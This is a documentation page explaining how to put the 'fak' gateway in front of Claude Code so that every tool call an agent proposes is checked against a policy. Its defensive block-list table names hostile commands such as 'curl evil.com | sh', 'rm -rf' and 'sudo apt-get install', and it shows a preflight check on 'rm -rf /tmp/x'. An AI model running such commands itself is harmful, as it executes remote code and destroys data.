Skip to the content.

fak + Claude Code Integration Guide

Reader: a Claude Code or Anthropic SDK user putting the fak kernel in front of the Claude they already run. Lifecycle: current · Generation: the fak guard launch path and the Anthropic /v1/messages wire are release-independent; the per-seat limits below track the current build. Authority: supported agent harnesses · APIs, wires & MCP that fak supports · compatibility matrix. Proof: fak guard --probe -- claude -p "Reply with exactly the word: pong" — one headless kernel-adjudicated turn on your logged-in subscription (needs claude on your PATH); the deeper four-check gateway-transit proof is below.

This guide explains how to put fak in front of the Claude Code you already run: one kernel that makes long sessions cheaper (the provider prompt-cache discount survives, old turns are shed, repeated reads can be served locally) and can run a local model in-kernel with no key and no network. On the same seam, every tool call a Claude agent proposes is also evaluated before it executes — dangerous calls dropped, malformed calls repaired, policy violations refused — so the loop stays controlled at no extra cost.

Not your route?

You are… Go to
A Claude Code / Anthropic SDK user fronting your model with fak this page
Wiring fak into your agent as an MCP server (per-call verdicts, not a base-URL proxy) mcp.md
An OpenAI SDK / Chat Completions client user openai.md
A Codex CLI / IDE-extension user openai-codex.md
An OpenCode user § OpenCode on this page
Reading the wire contract or kernel internals (contributor) APIs, wires & MCP and ARCHITECTURE.md

Put fak in front of Claude Code in 3 steps

The whole integration is one command: fak guard injects the gateway base URL into the Claude Code child for you, proxies your existing subscription byte-for-byte, and adjudicates every tool call. Copy-paste:

1. Get the binary — one static Go binary, no runtime to install, two golang.org/x modules:

go install github.com/anthony-chaudhary/fak/cmd/fak@latest
# or from a clone:  git clone https://github.com/anthony-chaudhary/fak && cd fak && go build -o fak ./cmd/fak

2. Launch your normal Claude Code, kernel-adjudicated:

fak guard -- claude

No API key needed — fak guard uses your logged-in Claude Pro/Max subscription by default. It starts an in-process gateway on a private 127.0.0.1 port, injects ANTHROPIC_BASE_URL into the child process only (your shell and other terminals are untouched), and forwards your credential + prompt-cache breakpoints unchanged — no cost regression.

3. Watch a verdict. Work as usual; on exit fak prints what the kernel decided:

fak guard: 131 kernel decision(s) — 121 allowed, 5 denied, 2 repaired, 0 quarantined, 3 deferred
  blocked: POLICY_BLOCK     x4
  blocked: SELF_MODIFY      x1

A destructive rm -rf, a git push, or a write into .git/ is refused before it runs — a verdict, not a crash. For a one-shot machine-checkable smoke instead of an interactive session:

fak guard --probe -- claude -p "Reply with exactly the word: pong"

That’s the whole loop. Everything below is the detail behind these three steps — the fak guard internals, running a local model with --gguf, an end-to-end proof, manual two-terminal wiring, and the capability floor.


What this integration does

┌─────────────────────┐   POST /v1/messages   ┌────────────────────────┐
│   Claude Code CLI   │ ────────────────────▶ │  fak serve (gateway)   │
│  or Anthropic SDK   │ ◀──── SSE stream ───  │  adjudicates tools     │
└─────────────────────┘                        └────────────────────────┘
         ▲                                                 │
         │ ANTHROPIC_BASE_URL                             │
         │ (points at fak)                                ▼
         │                                        ┌───────────────┐
         │                                        │  Local Model  │
         │                                        │ or Cloud API  │
         │                                        └───────────────┘

The gateway sits between Claude and the model:

Result: Claude works on your codebase through one kernel that makes the session cheaper and longer-running (prompt-cache passthrough, context shedding, an optional in-kernel local model) and, on the same seam, blocks destructive commands, prevents self-modification, and contains untrusted tool results.


The one command: fak guard

The fastest way to put the kernel in front of the Claude Code you already run is the fak guard verb. It is one cross-platform command — no shell script, no second terminal, no config-file edits:

fak guard -- claude    # your normal Claude Code, kernel-adjudicated, on your subscription

For a quick live smoke that does not ask the agent to write a fleet handoff, run:

fak guard --probe -- claude -p "Reply with exactly the word: pong"

(No API key needed — fak guard uses your logged-in Claude Pro/Max subscription by default, even if ANTHROPIC_API_KEY is exported. To use API billing instead, name the key explicitly: --api-key-env ANTHROPIC_API_KEY.)

fak guard:

  1. Starts the gateway in-process on a private 127.0.0.1 port (the OS picks a free one).
  2. Loads a sensible secure capability floor embedded in the binary (so it works from any directory — print it with fak guard --dump-policy, override with --policy FILE).
  3. Injects ANTHROPIC_BASE_URL into the child process only — your shell, your settings.json, and any other claude in another terminal are untouched.
  4. Proxies to the real Anthropic API: your credential (subscription OAuth by default, or an API key when you opt in with --api-key-env ANTHROPIC_API_KEY) and the cache_control prompt-cache breakpoints flow through byte-for-byte (no cost regression), while every tool call Claude proposes crosses the capability floor first.
  5. Tears the gateway down when Claude exits and prints what the kernel decided:
fak guard: 131 kernel decision(s) — 121 allowed, 5 denied, 2 repaired, 0 quarantined, 3 deferred
  blocked: POLICY_BLOCK     x4
  blocked: SELF_MODIFY      x1

(deferred and escalated only appear when nonzero: a deferred is a non-blocking admit — typically an inbound tool result let through the result-side floor — and is a normal outcome, not an error.)

A launcher is first-class only when its exact host-tool dialect is covered, not merely when its provider wire connects: Claude Code’s PascalCase tools, Codex’s snake_case tools, OpenCode’s lowercase tools, danger-bearing argument names, and each harness’s stop/continue behavior after a denial. New fak guard launcher claims are gated by the harness integration acceptance checklist.

Your Claude Pro/Max subscription is the default — no API key needed. When the upstream is Anthropic, fak guard uses your subscription unless you explicitly name an API key: it sources the OAuth token (from CLAUDE_CODE_OAUTH_TOKEN, then <claude-config>/.oauth-token, then ~/.claude/.credentials.json) and sends it upstream as Authorization: Bearer + anthropic-beta: oauth-2025-04-20 — the scheme the API accepts an sk-ant-oat… token under (sent as x-api-key it 401s). So fak guard -- claude just works on a logged-in subscription. fak holds the token and ignores the client’s own credential (it injects a placeholder key into the child). A bare ANTHROPIC_API_KEY exported in your shell no longer switches this — a global SDK key must not silently bill your API account when you hold a subscription; guard prints a one-line note when it holds the subscription token past an ambient key.

Wrap a different agent or upstream by naming it after -- and switching the provider:

fak guard --provider openai -- codex            # an OpenAI-compatible coding agent
fak guard --policy my-floor.json -- claude      # enforce your own reviewed allow-list

Local model: no key, no network, one command

fak guard --gguf runs a local GGUF model in-kernel as the upstream for your agent. No API key, no network, no second terminal — the whole stack (local model + your harness + kernel floor) is one command:

fak guard --gguf qwen2.5:7b -- claude

What you’ll see on first run (the GGUF is cached locally after the first pull):

fak guard: --gguf qwen2.5:7b → hf://bartowski/Qwen2.5-7B-Instruct-GGUF/Qwen2.5-7B-Instruct-Q4_K_M.gguf
GET https://huggingface.co/bartowski/Qwen2.5-7B-Instruct-GGUF/resolve/main/Qwen2.5-7B-Instruct-Q4_K_M.gguf
fak guard: listening on http://127.0.0.1:54321 (in-process gateway)
fak guard: loading in-kernel model: Qwen2.5-7B-Instruct-Q4_K_M.gguf
fak guard: Claude child started (PID 12345)
[... Claude session runs with the local model ...]
fak guard: 23 kernel decision(s) — 19 allowed, 2 denied, 0 repaired, 0 quarantined, 2 deferred
  blocked: POLICY_BLOCK     x2

What happens:

  1. The GGUF model downloads from Hugging Face on first run (~5 GB, cached in ~/.cache/fak-models/).
  2. fak loads the model in-kernel (no separate server process).
  3. Claude Code connects to the in-process gateway over http://127.0.0.1:<random-port>/v1.
  4. Every tool call Claude proposes crosses the same kernel adjudication floor as the proxy path.
  5. Your data never leaves your box — no network traffic after the initial GGUF pull.

Model aliases:

The --gguf flag accepts a model alias (from fak ls), an hf:// URI, or a local .gguf path:

fak ls    # list available aliases: qwen2.5:7b, qwen2.5:1.5b, smollm2, ornith:9b
fak guard --gguf qwen2.5:1.5b -- claude               # smaller 1.5B model (~1.6 GB)
fak guard --gguf <path/to/model.gguf> -- claude      # local file
fak guard --gguf hf://owner/repo/model.gguf -- claude # download on demand

GPU acceleration (optional):

Use --backend cuda or --backend metal to run decode on GPU (CUDA requires -tags cuda; Metal is linked on darwin/arm64 with cgo):

FAK_GGUF_LOAD_WORKERS=8 fak guard --gguf qwen2.5:7b --backend cuda -- claude

The honest fence:

Small-model agentic quality is a ramp. qwen2.5:7b (or any 7B-class local model) can answer well-formed questions and follow simple instructions, but for complex coding tasks, frontier-quality reasoning, or multi-step refactoring, the proxy path (fak guard -- claude, which reaches Claude Sonnet/Opus via Anthropic’s API) is still the default. Use --gguf for:

When you need the best coding quality and you have a subscription, use fak guard -- claude (proxy).

Long-context reset budget

fak guard can also seed a stable served-session budget for wrapped Claude Code:

fak guard --context-budget-tokens 150000 --reset-on-budget -- claude

The gateway uses a stable default trace id (guard) for child requests that do not send X-Trace-Id, then debits the normalized provider context usage after each served turn (input_tokens plus Anthropic cache read/write counters). With --reset-on-budget, when the budget is exhausted the gateway mints a continuation id, distills the refused transcript into a carryover seed, re-arms the continuation trace with a fresh 150k budget, and retries the live request under that new trace.

Without --reset-on-budget, the session moves to draining and the next request receives 409 with the normal error envelope plus session.continuation_id and a reset directive: restart_fresh_session, dump the session image, start a fresh process, rehydrate the planned view, and reuse provider cache only where legal.

For a hard child-process boundary, use the guard restart supervisor:

fak guard --context-budget-tokens 150000 --restart-on-budget -- claude

On budget exhaustion, guard distills the served transcript into a carryover seed, re-arms the continuation trace, writes a seed JSON file, advances the default trace for omitted trace headers, stops the child, and relaunches it with FAK_RESET_TRACE_ID, FAK_SESSION_ID, and FAK_RESET_SEED_FILE. Use --restart-limit N to cap relaunches and --restart-seed-dir DIR to choose the seed-file directory. Plain claude does not automatically read fak’s seed file; wrapper-aware launchers can use FAK_RESET_SEED_FILE to prepend the carryover seed into the fresh Claude session.

For a cooperative MCP wrapper, use fak_session_reset instead of waiting for a proxied request boundary. Pass the trace id, the wrapper’s observed context_tokens, and the messages to distill; fak debits the budget, accepts only a budget-drained session, and returns seed_messages plus the fresh continuation trace for the new Claude window.

Deny-all auto-continue (no false stops)

When the capability floor refuses every tool call in a turn (a single rm -rf, an unknown tool, or a whole batch all denied), the gateway may still need to report stop_reason: end_turn on the Anthropic wire — if it reported tool_use with no tool_use block, Claude Code would hang hunting for a tool that was dropped. That is a wire end-of-turn, not a managed session stop. The model-facing [fak] refused … note now says the refusal is per-tool feedback and that a session stop only comes from a declared stop policy.

There are two counters because the two cases are different. Hard all-denied turns can trip the deny-all continue hook below. Retryable all-denied turns, such as malformed JSON or model-fixable tool shape errors, increment fak_guard_tool_feedback_* instead; those are per-tool feedback turns and the model should fix the arguments/tool choice and keep going.

fak guard fixes this in two layers — the wire stays correct, the harness keeps moving:

  1. It’s counted separately. Hard deny-all turns increment fak_guard_deny_all_stops_total and the live fak_guard_deny_all_consecutive gauge on /metrics; retryable tool-feedback turns increment fak_guard_tool_feedback_turns_total and fak_guard_tool_feedback_consecutive. A third gauge, fak_guard_deny_all_same_consecutive, counts consecutive deny-all turns proposing the identical refused action (same tool + same reason) — it climbs only when the model re-proposes the same blocked call and re-seeds to 1 the moment the refusal changes. The exit summary prints separate lines, so “the floor refused a tool” does not read as “the session stopped.”
  2. It’s auto-resumed. guard installs a Claude Code Stop hook that reads those gauges and, when the last turn was a hard deny-all, blocks the stop and re-prompts the agent with “pick an allowed alternative and continue” — so the loop keeps going instead of halting. It is on by default (--deny-all-continue=enforce). The give-up is keyed on the same-issue gauge, not the raw deny-all count: the hook only stands down after --same-stop (default 6) consecutive turns proposing the identical refused action, so a session that hits a different block each turn (exploring for an allowed path) is never given up, while one genuinely spinning on one refusal still stops. Its guidance also firms up over the last few identical repeats — naming the repeat and telling the model to change tack rather than retry. Once the model does something allowed, the counter resets and the next real completion stops normally. (Against an older gateway that does not emit the same-issue gauge, the hook falls back to the legacy blind bound --deny-all-max, default 3 consecutive continues.)
fak guard -- claude                          # auto-continue ON (enforce); give up after 6 identical repeats
fak guard --deny-all-continue=shadow -- claude   # log the would-continue, still stop (observe first)
fak guard --deny-all-continue=off -- claude      # restore the bare end_turn stop
fak guard --same-stop 10 -- claude               # tolerate up to 10 identical repeats before standing down
fak guard --deny-all-max 5 -- claude             # legacy blind bound (older gateways without the same-issue gauge)

The Stop hook is merged into the same --settings file as the PreCompact hook (a single --settings carries both), is fail-open (an unreachable gateway never wedges the agent), and applies to Claude children only. Caveat: it hooks the main agent’s Stop event; a deny-all inside a Task subagent ends on SubagentStop, which is not yet auto-resumed.

OpenCode

OpenCode speaks the OpenAI-compatible wire, so guard fronts it the same way — over --provider openai:

export OPENAI_API_KEY=sk-...                       # or point --base-url at a local model
fak guard --provider openai --api-key-env OPENAI_API_KEY -- opencode

guard injects OPENAI_BASE_URL=http://127.0.0.1:<port>/v1 into OpenCode (the /v1 matters — OpenAI-compatible clients append /chat/completions, so a bare host 404s). OpenCode’s built-in tools are lowercase (bash, read, write, edit, grep, glob, webfetch, …), and the built-in floor already allows them and gates them the same as Claude Code’s: a bash command of rm -rf is denied (the destructive-command rules match the tool name case-insensitively), and a write/edit into .git/, .ssh/, or a credential path is refused as SELF_MODIFY (the floor reads OpenCode’s camelCase filePath argument, not only file_path).

If OpenCode does not pick up OPENAI_BASE_URL in your setup, bind a fixed port and point an opencode.json provider at it instead — same kernel boundary, explicit wiring:

fak guard --provider openai --addr 127.0.0.1:8137 --api-key-env OPENAI_API_KEY -- opencode
{
  "$schema": "https://opencode.ai/config.json",
  "provider": {
    "fak": {
      "npm": "@ai-sdk/openai-compatible",
      "name": "fak (kernel-adjudicated)",
      "options": { "baseURL": "http://127.0.0.1:8137/v1" },
      "models": { "your-model-id": { "name": "Your Model" } }
    }
  }
}

Observability

The observable debug layer is on by default. fak guard prints one compact, payload-free line per served turn to stderr whose first job is to answer “did this turn work?” at a glance:

fak-turn trace=guard ok prov=20.7k tok (95% of prompt) fak=0 tok cache=healthy_cache compact=none finish=end_turn

Read it left to right:

Silence it with --debug-stats=false, or with --quiet (which also drops the banner + exit summary).

The raw provider counters (cache_read, cache_creation, request_tokens, cache_hit) are deliberately off this glanceable line — they measure Anthropic’s cache, not whether fak is doing its job. They remain available for deep debugging in the JSON --log and on /metrics, where every count is read from the same accumulators, so the views never disagree:

FAK_AUDIT_JOURNAL=~/fak-audit.jsonl fak guard --log ~/fak-gw.log -- claude

Prove it: the request really transited the gateway over your subscription

You don’t have to take the subscription-by-default behavior on faith. On any box with the claude binary and a Claude Pro/Max subscription, this proves end to end that a real /v1/messages request crossed the in-process kernel gateway and was authenticated with your subscription OAuth token. Copy-paste it.

Prerequisites:

Run one headless, machine-checkable turn from the repo root (the Go module is the repo root), with the gateway log and the audit journal on:

go build -o fak ./cmd/fak

# --log, FAK_AUDIT_JOURNAL, and --anthropic-oauth are fak flags.
# -p, --allowedTools, and --output-format AFTER `claude` are Claude Code flags.
FAK_AUDIT_JOURNAL="$PWD/fak-audit.jsonl" \
  ./fak guard --log "$PWD/gw.log" --anthropic-oauth -- \
  claude -p "Run: echo hello-from-guard" \
    --allowedTools "Bash(echo:*)" \
    --output-format json

--anthropic-oauth is optional (it is already the default for --provider anthropic with no API key); passing it makes guard fail loud if no token is found instead of silently falling back to passthrough. The banner names the token source and ends …, sent as a bearer token).

Check 1 — a real result came back over your subscription. claude … --output-format json writes one envelope to stdout (the banner and exit summary go to stderr, so they do not pollute it):

{ "type": "result", "is_error": false, "result": "hello-from-guard", "duration_api_ms": 1234 }

"is_error": false with a real result proves a turn completed against Anthropic through guard.

Check 2 — the request transited the gateway. Each line in gw.log is a timestamped JSON record; find the /v1/messages POST:

grep '"route":"/v1/messages"' gw.log
# 2026/06/23 12:00:00 {"event":"gateway_http_request","method":"POST",
#   "route":"/v1/messages","status":200,"duration_ms":1180.4,
#   "user_agent":"claude-cli/...","trace_id":"gw-3"}

A 200 on route=/v1/messages from a claude-cli/... user agent proves the bytes were Claude’s and they passed through the in-process gateway. Cross-check that line’s duration_ms against the duration_api_ms in the Check-1 JSON: they are the same upstream call seen from the two ends of the proxy. If Claude had reached Anthropic directly, there would be no /v1/messages line here at all.

Check 3 — no bypass: the 200 is only possible because the gateway swapped the credential. When ANTHROPIC_API_KEY is unset, guard hands the child the invalid placeholder key fak-guard-oauth-placeholder (cmd/fak/guard.go) and injects only the gateway URL. So the child authenticates to the gateway with a key Anthropic would reject. The upstream 200 is therefore only possible because the gateway dropped that placeholder and authenticated upstream with your real held OAuth bearer. A direct claude → api.anthropic.com call carrying that placeholder would 401. The 200 is the proof the swap happened.

Check 4 — the tool call was adjudicated and recorded. The --allowedTools "Bash(echo:*)" turn asks the model to run echo. If the model proposes the tool call (Haiku reliably does for this prompt), the kernel adjudicates it and the exit summary on stderr counts it:

fak guard: 2 kernel decision(s) — 1 allowed, 0 denied, 0 repaired, 0 quarantined, 1 deferred

allowed is the proposed Bash call crossing the capability floor; deferred is its inbound tool result admitted through the result-side floor. The durable record is in fak-audit.jsonl — a hash-chained DECIDE row per decision:

grep '"verdict":"ALLOW"' fak-audit.jsonl
# {"seq":1,"kind":"DECIDE","tool":"Bash","verdict":"ALLOW","by":"monitor","prev_hash":"","hash":"..."}

Each row carries prev_hash/hash, so an auditor re-verifies the chain end to end and proves no decision was dropped or altered. (If the model answers in text without calling the tool, you get 0 allowed and no ALLOW row — re-run, or make the instruction more explicit.) Without FAK_AUDIT_JOURNAL set, the summary is in-memory only and this durable trail does not exist.

Together: a real result (1), through the gateway (2), authenticated only because the gateway swapped in your OAuth token (3), with the tool call adjudicated and recorded (4).

Current limits on the subscription seat

The proof above runs the default fak guard -- claude path. The honest limits and in-flight rungs on that seat:

The rest of this guide covers the local-model dogfood path (point fak at ollama / a shim / a large local OpenAI-compatible server) and the manual two-terminal wiring fak guard automates.


Quick Start (macOS/Linux)

The dogfood launcher spins up the entire stack with one command:

git clone https://github.com/anthony-chaudhary/fak && cd fak
./scripts/dogfood-claude.sh --probe "Reply with exactly the word: pong"

This:

  1. Builds fak
  2. Starts a local model (Ollama by default, or llama-server/LM Studio via preset)
  3. Starts fak serve in front of it as an Anthropic Messages server
  4. Points Claude Code at the gateway
  5. Runs one headless turn and writes the witness to experiments/agent-live/

For interactive use:

./scripts/dogfood-claude.sh    # Opens interactive Claude Code on the local model

Install for PATH access

./scripts/dogfood-claude.sh --install
# Now you can run from anywhere:
fak-dogfood --probe "hi"
fak-qwen36-claude --probe "hi"    # Qwen3.6 local preset
fak serve --help                  # Repo CLI from PATH

Quick Start (Windows PowerShell)

Windows uses the native PowerShell script — same flow, no Ollama dependency:

git clone https://github.com/anthony-chaudhary/fak; cd fak
.\scripts\dogfood-claude.ps1 --probe "say pong"

The Windows version:

Interactive mode:

.\scripts\dogfood-claude.ps1

Architecture Overview

The three components

Component What it is Who starts it
Model server The process that generates tokens (Ollama, llama-server, LM Studio, vLLM, SGLang, or the in-tree local_shim.py) You (or the dogfood script)
fak serve The gateway that speaks Anthropic Messages API, adjudicates tool calls, and proxies to the model dogfood-claude.sh or manually
Claude Code The CLI/harness that sends agent prompts and tool calls dogfood-claude.sh or manually

What fak serve exposes

Route Purpose
POST /v1/messages Anthropic Messages API (Claude Code compatibility)
POST /v1/chat/completions OpenAI-compatible proxy (for other clients)
GET /healthz Health check ({"ok":true,"model":"...","engine":"..."})
GET /v1/models Advertises the served model id
POST /v1/fak/syscall Run one adjudicated tool call (dispatch to registered engine)
POST /v1/fak/adjudicate Get a verdict without executing
POST /v1/fak/admit Send a tool result through the result-side floor
GET /v1/fak/changes Cross-agent “what changed” feed (vDSO coherence)
POST /v1/fak/revoke Revoke a poisoned witness
GET /metrics Prometheus metrics
POST /mcp MCP-over-HTTP

The kernel’s adjudication

For every tool call the model proposes, the kernel evaluates:

  1. Allow-list — is the tool named on the policy’s allow-list?
  2. Argument rules — does the argument match a deny regex? (e.g., rm -rf, sudo)
  3. Self-modify guard — is the target path in .git/, internal/kernel/, etc.?
  4. Result quarantine — does a tool result contain secrets or poisoned content?
  5. IFC taint — is the trace’s taint high-water mark elevated?

Verdicts: ALLOW, DENY (with reason), TRANSFORM (grammar repair), QUARANTINE (paged out)


Manual Setup (without the dogfood script)

If you want to wire Claude Code to fak serve manually:

Simpler alternative: fak guard --local -- claude replaces steps 2 and 3 below — it starts the gateway, auto-detects the model server from step 1, and injects ANTHROPIC_BASE_URL into the Claude Code child process for you (see Large local models). Use the manual steps below when you need a long-running gateway process (e.g. a second machine, or a client other than fak guard’s own child-process launch).

1. Start a model server

Ollama (macOS/Linux):

ollama serve &
ollama pull qwen2.5-coder:7b

llama-server / LM Studio (OpenAI-compatible):

llama-server \
  -hf lmstudio-community/Qwen3.6-27B-GGUF:Q4_K_M \
  --host 127.0.0.1 \
  --port 8131 \
  --ctx-size 32768 \
  --n-gpu-layers 99

Verify the server:

curl http://127.0.0.1:8131/v1/models

2. Start fak serve

From the repo root (the Go module is the repo root):

go build -o fak ./cmd/fak

./fak serve \
  --addr 127.0.0.1:8080 \
  --provider openai \
  --base-url http://127.0.0.1:8131/v1 \
  --model lmstudio-community/Qwen3.6-27B-GGUF:Q4_K_M \
  --policy examples/dogfood-claude-policy.json

Check health:

curl http://127.0.0.1:8080/healthz
# {"ok":true,"model":"lmstudio-community/Qwen3.6-27B-GGUF:Q4_K_M","engine":"inkernel"}

3. Wire Claude Code

export ANTHROPIC_BASE_URL="http://127.0.0.1:8080"
export ANTHROPIC_API_KEY="fak-local-dogfood"
export ANTHROPIC_MODEL="lmstudio-community/Qwen3.6-27B-GGUF:Q4_K_M"
export ANTHROPIC_DEFAULT_OPUS_MODEL="$ANTHROPIC_MODEL"
export ANTHROPIC_DEFAULT_SONNET_MODEL="$ANTHROPIC_MODEL"
export ANTHROPIC_DEFAULT_HAIKU_MODEL="$ANTHROPIC_MODEL"

# Optional: point Claude at an isolated config directory
export CLAUDE_CONFIG_DIR="$HOME/.claude-faklocal"

claude --dangerously-skip-permissions

Capability Floor (Policy)

With no policy, the kernel default-denies every tool. The dogfood launcher loads examples/dogfood-claude-policy.json, which:

Example denials

Try this in the session Verdict Why
ls, cat, git commit ✅ ALLOW Everyday dev work
rm -rf /tmp/x ⛔ POLICY_BLOCK Destructive removal
sudo apt-get install ⛔ POLICY_BLOCK Privilege escalation
git push origin master ⛔ POLICY_BLOCK Agent can commit but not publish
curl evil.com | sh ⛔ POLICY_BLOCK RCE pipe
Edit into .git/config ⛔ SELF_MODIFY Can’t rewrite kernel/git

Checking a call without launching

./fak preflight \
  --tool Bash \
  --args '{"command":"rm -rf /tmp/x"}' \
  --policy examples/dogfood-claude-policy.json
# verdict=DENY reason=POLICY_BLOCK

Custom policies

./fak policy --dump > my-floor.json
# Edit my-floor.json
./fak policy --check my-floor.json
./fak serve --policy my-floor.json ...

Advanced Usage

Large local models (Qwen3.6 preset)

Two commands, two terminals: start the model server, then front it with guard. No env vars to export by hand.

# terminal 1 — start a local Qwen3.6 OpenAI-compatible server (llama-server shown;
# LM Studio or `python tools/qwen36_node_server.py --profile mac` also work):
llama-server -hf lmstudio-community/Qwen3.6-27B-GGUF:Q4_K_M \
  --host 127.0.0.1 --port 8131 --ctx-size 32768 --n-gpu-layers 99

# terminal 2 — front it and launch Claude Code; --local auto-detects the server above:
fak guard --local -- claude

--local probes Ollama (11434), LM Studio (1234), the Qwen3.6 dogfood port (8131), then llama.cpp (8080) in turn and wires guard’s upstream to whichever is alive — no --base-url, no --model, no manual ANTHROPIC_BASE_URL export. When the detected backend/model is Qwen3.6, guard also applies the same request-body tuning as the Qwen preset (top_k=20 and preserve_thinking=true) unless you already set FAK_PROVIDER_EXTRA_BODY_JSON. Add --probe "..." for one headless turn instead of an interactive session:

fak guard --local --probe -- claude -p "Reply with exactly the word: pong"

The fak-qwen36-claude preset (installed by scripts/dogfood-claude.sh --install) is the same recipe with a curated 900s timeout baked in:

fak-qwen36-claude --probe "Reply with exactly the word: pong"

See docs/qwen36-claude-dogfood-playbook.md for the full playbook (troubleshooting, the in-kernel CUDA variant, and the Mac-gateway remote-front variant).

Authentication

For production use, require an API key:

./fak serve \
  --addr 0.0.0.0:8080 \
  --base-url ... \
  --model ... \
  --require-key-env FAK_TOKEN

Claude Code clients send x-api-key: (Anthropic SDKs), which fak honors.

Cloud providers

# OpenAI
./fak serve \
  --provider openai \
  --base-url https://api.openai.com/v1 \
  --api-key-env OPENAI_API_KEY \
  --model gpt-4

# Anthropic (proxy another Claude endpoint)
./fak serve \
  --provider anthropic \
  --base-url https://api.anthropic.com/v1 \
  --api-key-env ANTHROPIC_API_KEY \
  --model claude-sonnet-4-20250514

Observability

Prometheus metrics:

curl http://127.0.0.1:8080/metrics

Grafana dashboard:

tools/grafana/up.sh
# Open http://localhost:3000 → "FAK Dogfood Slow Requests"

Using the Anthropic API directly

The /v1/messages endpoint is compatible with Anthropic SDKs. Example with Python:

import anthropic

client = anthropic.Anthropic(
    base_url="http://127.0.0.1:8080",   # Point at fak
    api_key="fak-local-dogfood"
)

response = client.messages.create(
    model="qwen2.5-coder:7b",
    max_tokens=1024,
    messages=[{"role": "user", "content": "List the files in this directory"}],
    tools=[{
        "type": "function",
        "function": {
            "name": "Bash",
            "description": "Run shell commands",
            "parameters": {
                "type": "object",
                "properties": {
                    "command": {"type": "string"}
                },
                "required": ["command"]
            }
        }
    }]
)

The fak response extension

Every response includes a _fak extension with adjudication details:

{
  "id": "msg_...",
  "type": "message",
  "content": [...],
  "stop_reason": "tool_use",
  "_fak": {
    "version": "fak/v1",
    "admissions": [
      {
        "tool": "Bash",
        "verdict": "ALLOW",
        "by": "monitor",
        "trace_id": "..."
      }
    ]
  }
}

Environment Reference

Variable Purpose Default
ANTHROPIC_BASE_URL Points Claude Code at fak http://127.0.0.1:8080
ANTHROPIC_API_KEY Auth (loopback ignores this) fak-local-dogfood
CLAUDE_CONFIG_DIR Isolated account directory $HOME/.claude
ANTHROPIC_MODEL Model id for all tiers Set by dogfood script
API_TIMEOUT_MS Claude Code timeout Raised by dogfood script
FAK_DOGFOOD_PORT fak listen port 8080
FAK_DOGFOOD_MODEL Model id Auto-selected
FAK_DOGFOOD_BACKEND ollama, shim, openai ollama (macOS/Linux), shim (Windows)
FAK_DOGFOOD_BASE_URL OpenAI upstream Required for backend=openai
FAK_DOGFOOD_TIMEOUT_S Planner/write timeout 300 (ollama/shim), 900 (openai)
FAK_DOGFOOD_POLICY Policy manifest examples/dogfood-claude-policy.json
FAK_DOGFOOD_ACCOUNT Account tag for switcher faklocal

Troubleshooting

Symptom Fix
fak: command not found Run ./scripts/dogfood-claude.sh --install
Port 8080 already in use Set FAK_DOGFOOD_PORT=8090
First request very slow (>60s) Expected on large local models — the prompt is ~25K tokens
Claude exits at 60s Set FAK_DOGFOOD_TIMEOUT_S=900
/v1/models fails Fix the upstream model server first
ollama not found Install Ollama, or use FAK_DOGFOOD_BACKEND=shim
Model says “pong” is wrong Tiny models give weak answers — use a 7B+ model
verify errors Check FAK_MODEL_DIR for in-kernel models

Debug logs

# Claude debug → <tmp>/fak-claude.log
export FAK_DOGFOOD_CLAUDE_DEBUG=api

# Gateway log → <tmp>/fak-serve.log
tail -f <tmp>/fak-serve.log

Cross-references